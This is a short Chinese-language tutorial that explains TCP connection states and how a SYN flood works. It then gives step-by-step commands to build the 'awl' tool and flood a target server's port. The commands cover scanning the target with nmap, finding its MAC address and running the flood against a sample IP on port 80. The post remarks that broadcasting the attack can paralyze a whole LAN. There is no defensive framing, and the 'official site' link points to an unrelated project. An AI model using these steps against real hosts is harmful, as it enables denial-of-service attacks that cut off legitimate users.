一、TCP连接状态图
说明如下:
服务器端:LISTEN:侦听来自远方的TCP端口的连接请求
客户端:SYN-SENT:发送连接请求后等待匹配的连接请求
服务器端:SYN-RECEIVED:收到和发送一个连接请求后等待对方对连接请求的确认
客户端/服务器端:ESTABLISHED:代表一个打开的连接
客户端:FIN-WAIT-1:等待远程TCP连接中断请求,或先前的连接中断请求的确认
服务器端:CLOSE-WAIT:等待从本地用户发来的连接中断请求
客户端:FIN-WAIT-2:从远程TCP等待连接中断请求
服务器端:LAST-ACK:等待原来的发向远程TCP的连接中断请求的确认
客户端:TIME-WAIT:等待足够的时间以确保远程TCP接收到连接中断请求的确认
服务器端:CLOSED:没有任何连接状态
二、 SYN洪水攻击的过程
服务端返回一个确认的SYN-ACK包后,如果发起的客户是一个不存在的客户端,那么服务端就不会接到客户端回应的ACK包。这时服务端需要耗费一定的数量的系统内存来等待这个未决的连接,直到等待超时关闭,才能施放内存。恶意者通过通过ip欺骗,发送大量SYN包给受害者系统,导致服务端存在大量未决的连接并占用大量内存和tcp连接,从而导致正常客户端无法访问服务端
三、使用awl对服务器施实syn洪水攻击
1. 官网 https://gitlab.com/davical-project/awl/tags
2. 下载解压安装
tar -zxvf awl-0.2.tar.gz
./configure --prefix=/usr/local/awl
make -j 4
make install
3. awl命令格式
awl -i eth0 -m 00:0c:29:a9:f0:6c -d ip -p port
说明:
-i 发送包的接口,如果省略默认是eth0
-m 被攻击机器的mac地址,程序不能根据被攻击IP得到MAC,需要手工指定.先ping目标IP,再arp -a就可以看到.如果省略则为ff:ff:ff:ff:ff:ff,表示向同一网段内的所有主机发出ARP广播,进行SYN攻击,还容易使整个局域网瘫痪
-d 被攻击机器的IP
-p 被攻击机器的端口
4. nmap查看对象机器开放的端口和MAC
nmap 192.168.1.123
或者ping 192.168.1.123 ;arp -n查看MAC
5. 测试
/usr/local/awl/bin/awl -i eth0 -m 00:0c:29:a9:f0:6c -d 192.168.1.123 -p 80
netstat -antup|grep 80